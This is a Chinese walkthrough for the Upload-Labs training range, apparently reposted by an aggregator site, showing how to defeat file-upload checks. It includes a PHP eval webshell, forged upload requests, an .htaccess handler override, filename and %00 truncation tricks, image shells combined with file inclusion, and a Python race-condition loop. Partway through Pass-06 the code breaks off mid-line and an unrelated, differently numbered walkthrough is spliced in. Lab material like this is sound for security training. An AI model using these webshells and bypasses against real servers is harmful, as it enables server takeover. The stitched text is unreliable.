Upload-Labs靶场 1-21全通关教程
Posted icewolf00
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Upload-Labs靶场 1-21全通关教程相关的知识,希望对你有一定的参考价值。
Upload-Labs通关
靶场介绍
Upload-Labs是一个使用php语言编写、专注于文件上传漏洞的闯关式网络安全靶场。练习该靶场可以有效地了解并掌握文件上传漏洞的原理、利用方法和修复方案。
GitHub项目地址
提醒:学习此靶场仅需要Firefox、BurpSuite和PHP基础知识即可,不会PHP的请先去看菜鸟教程。
安装
Upload-Labs安装建议环境如下:
- Windows用户建议使用PHPStudy,Linux用户建议使用XAMPP或Docker。下载地址:
- PHPStudy官网
- XAMPP官网 - PHP版本建议使用5.2.17,否则部分Pass可能无法绕过。
- 需要开启以下PHP组件:php-gd2 php-exif
- Apache以moudel方式连接。
- 特别提醒:Pass-19在Linux上运行。
- 废话不多说,开整。
文件上传漏洞介绍
在练习靶场前介绍一下文件上传漏洞是有必要的。
文件上传漏洞,顾名思义,就是攻击者通过一些方法绕过了客户端验证(javascript前端验证,100%可以用中间人攻击绕过)和服务端验证(如后缀名、MIME类型验证)上传了非预期的脚本文件导致服务器被植入木马并获得了服务器的命令执行权限,一般为高危漏洞。
常见防御方法:
- 前端验证(防君子):在前端对文件后缀名进行过滤,最好只留下允许上传的文件后缀名,但攻击者(小人)可以轻松地绕过前端验证。
- 后端文件名验证:在后端对文件后缀名执行白名单校验,不在白名单内的禁止上传。
- 文件头校验:查看文件头与后缀名是否匹配。
- 最重要的安全策略:将上传的文件放到另一个专用文件服务器中(类似于站库分离);如果没有专用文件服务器,就取消上传目录的执行权限;将上传文件进行重新命名,必要时不显示上传路径。
BurpSuite的简单使用
BurpSuite是一款神仙般的用于攻击Web应用程序的集成平台,包含了许多工具。
常用模块:
1.Proxy(HTTP/HTTPS数据包拦截修改器)
2.Spider(网络爬虫)
3.Scanner(智能漏洞扫描器,仅限人民币玩家)
4.Intruder(可定制工具,对Web应用执行自动化攻击)
5.Repeater(手动发送HTTP/HTTPS请求包)
6.Sequencer
7.Decoder(用于编/解码各种数据)
8.Comparer
下面只介绍本教程常用的Proxy模块
安装BurpSuite
BurpSuite使用Java语言开发,请下载安装Java运行环境(JRE)。
BurpSuite官网
Java JRE
配合Firefox使用
1.双击启动BurpSuite。
2.依次点击“Next”和“Start Burp”按钮启动BurpSuite。
3.点击“Proxy”选项卡进入HTTP(S)包拦截界面。默认代理地址:127.0.0.1:8080,点击“Intercept is off”开始拦截,再点击一次关闭拦截。
4.在Firefox设置中查找“代理”,将代理服务器地址设置为127.0.0.1:8080,你也可以使用FoxyProxy插件便捷地设置代理。
万能WebShell
<?php @eval($_POST['cmd']); ?> // PHP一句话,使用中国蚁剑连接
<?php phpinfo(); ?> // 为方便观察,只显示PHP基本信息,无控制功能
正文开始
Pass-01
任务:上传一个WebShell到服务器。
提示:本pass在客户端使用js对不合法图片进行检查!
源代码:
<script type="text/javascript">
function checkFile()
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "")
alert("请选择要上传的文件!");
return false;
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1)
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
</script>
分析:使用JavaScript在客户端验证,直接禁用JavaScript即可。也可以将WebShell后缀名改为.jpg后使用BurpSuite拦截改包,将后缀名改为.php绕过。
防御方法:一定要加后端验证!!详细方法之后讨论。
Pass-02
任务:上传一个webshell到服务器。
提示:本pass在服务端对数据包的MIME进行检查!
源代码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
if (file_exists(UPLOAD_PATH))
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path))
$is_upload = true;
else
$msg = '上传出错!';
else
$msg = '文件类型不正确,请重新上传!';
else
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
分析:Pass-02的后端验证仅仅使用了MIME类型进行验证,这样是不安全的。我们仍然可以使用BurpSuite伪造MIME类型绕过验证。将Content-type改为image/png即可。
HTTP EXP:
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png // 将Content-type改为白名单中的类型即可
<?php phpinfo(); ?>
成功上传
Pass-03
任务:上传一个WebShell到服务器。
提示:本pass禁止上传.asp|.aspx|.php|.jsp后缀文件!
源代码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
if (file_exists(UPLOAD_PATH))
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext))
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path))
$is_upload = true;
else
$msg = '上传出错!';
else
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
else
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
分析:
Pass-03进行了如下防护操作:1.黑名单为.asp .aspx.php.jsp 2.删除文件名首尾空格 3.删除文件名末尾的点 4.将后缀名转为小写 5.去除::$DATA数据流标记 6.使用随机数重命名文件。但我们可以上传PHP文件的别名进行黑名单绕过。
HTTP EXP:直接将shell.php改为shell.phtml或其他别名上传即可。
Pass-04
任务:上传一个WebShell到服务器。
提示:本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!
源代码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
if (file_exists(UPLOAD_PATH))
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext))
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path))
$is_upload = true;
else
$msg = '上传出错!';
else
$msg = '此文件不允许上传!';
else
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
分析1:
Pass-04做了如下防护操作:1.黑名单包含了大多数脚本后缀名 2.删除文件名首尾空格 3.删除文件名末尾的点 4.将后缀名转为小写 5.去除::$DATA数据流标记。但代码中并没有通过循环判断上传的文件是否有多个后缀名,所以我们可以构造文件名使最后经过滤的文件后缀名仍为.php。
分析2:可以使用htaccess解析漏洞进行攻击。
<FilesMatch "shell.jpg">
Sethandler application/x-httpd-php
</FilesMatch>
代码中未限制.htaccess文件上传,上传以上内容的.htaccess文件后会将shell.jpg当成PHP文件解析执行。
HTTP EXP1:将文件后缀名改为“点+空格+点”的格式,这样file_ext会变为空,成功绕过黑名单上传。Windows会自动删除文件名最后的点,最后变为shell.php。
Content-Disposition: form-data; name="upload_file"; filename="shell.php. ."
HTTP EXP2:上传.htaccess文件和shell.jpg。
Pass-05
任务:上传一个WebShell到服务器。
提示:上传目录存在php文件(readme.php) // 其实感觉提示不看也没关系。。
源代码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
if (file_exists(UPLOAD_PATH))
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext))
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path))
$is_upload = true;
else
$msg = '上传出错!';
else
$msg = '此文件类型不允许上传!';
else
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
分析:和Pass-04一样,代码中只过滤了一次点,删除了空格和::$DATA,将文件后缀改为小写,黑名单等,使用Pass-04的方法绕过即可。但黑名单中屏蔽了.htaccess文件。
HTTP EXP:文件名改为“shell.php. . ”。
Pass-06
任务:上传一个WebShell到服务器。
提示:本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件!
源代码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
if (file_exists(UPLOAD_PATH))
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file'][
直接function改成return true
2.Content-type绕过
稍微改一下就可以了
3.phtml上传绕过
这一关没什么可说的,算是钻了apahce的一个空子吧
简单的一个黑名单的方式,但是利用了apahce的解析
在http.conf文件的第403行,这里直接会把phtml文件当作php代码来执行,其实你在这后面加个.txt,他都能给你当作php来执行
5 大小写绕过
成功绕过,这种黑名单方式不是很好,,建议白名单
6 后缀加空格绕过
可以看到源代码中并没有对空格做限制,windows中一个特性,加一个空格他会自动给你删除掉,加空格并不影响上述文件的一系列操作
木马上传成功
7.后缀加点绕过
同样是windows的特性
http://192.168.1.4/upload-labs/upload/7.php.
已经上传成功了
在upload目录下看到的7.php其实是不带.的原因是在windows中的特性,把点取消了
- 后缀加::$DATA绕过
在前面的代码基础上增加了 首尾去空,那么加空格绕过就不行了
:??”DATA”
Windows特性,把后面的当作Io流了
上传成功
9.利用. .绕过
点空格点
比如上传一个.php. .
那么第一步去这个名字,然后删除文件名末尾的点 变成”.php. “
然后函数strrchr 再去第一次出现的点,最后变成php点空格
然后在转为小写,然后在去字符串,变成php点空格,没影响,再首尾去空
又变成php.
变成了和上面一样的后缀加点的绕过方式。
10.利用双写php绕过
11.GET %00截断绕过
想要成功这个需要一个小条件,一般会在拿到php版本的时候去测试
要先判断下save_path后面的上传路径是否可控
1.PHP 版本 < 5.3.4
2.php.ini 中 magic_quotes_gpc=off
满足上面的条件的时候php就是把%00当成结束符,后面的数据直接忽略
save_path可控,因此00截断即可。利用save_path=../upload/11.php%00
12.POST 00截断
改成加号的原因是+号在hex中是2b方便找到
改好就是这样的
其实这个content-type改不改是无所谓的,这个代码和11的区别就是get形和post的区别,GET请求中%00会被当做url解析最后成空,而在post请求中,他会把这个当作是字符串去执行。
13.图片马配合文件包含漏洞
先解读下代码的意思
然后这个要去通过文件包含漏洞去利用
先传一个gif
在通过文件包含去访问gif
http://192.168.1.4/upload-labs/include.php?file=/upload/1820200215212531.gif
使用菜刀成功连接
14.图片马配合文件包含2
这个上传绕过的方式和前面13的是一样的,有区别的地方是后端代码的不一样
这个后面上传的是一样的
上面的判断逻辑是这样的
15 exif_imagetype图片马绕过
方法和前面两个一样,唯一与众不同的就是上传的方式,用的是exif_imagetype的方式
这个开启php的php_exif模块
16图像二次渲染绕过
上传的方式是一样的,但是代码区别很大
二次渲染之后,图片是被替换了的,可以看到这里用到了imagecreatefromjpeg
这个函数把你上传的图片二次渲染后生成新的图片,用winhex打开,可以看到图片的代码是不一样的,有一部分是没变的,另外一部分的代码是被改变了的,要把Php一句话写入到没改变的代码中,用winhex。
然后判断二次渲染中的图片内容中是否含有Php代码。
17.条件竞争
这样可能会出现条件竞争,比如在程序还没运行完,我们就先访问到了他在校验文件后缀是否合法的那个文件。
import requests
url = "http://127.0.0.1/upload-labs/upload/test.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
通过Burp不断发提交一句话木马的请求
这里可以通过Python脚本来实现不断访问Php马的页面
18.条件竞争 2
日了 ,有点小坑
他这个upload路径没加/ 导致都传到根目录去了
直接上传图片马就行
代码写在前面了,先校验后缀,所以我们要先上传图片马,然后在对其条件竞争,可以通过上传.php.jpg的文件,条件竞争后,后有没被更改名字的,这个时候通过apahce的解析漏洞去找php.jpg的文件即可拿到shell
19.move_uploaded_file()
知道了大致内容再去看下代码分析下
Jpg要改成Php
然后上面那个加个gif头
通过这样的方式也可以
?php>以上是关于Upload-Labs靶场 1-21全通关教程的主要内容,如果未能解决你的问题,请参考以下文章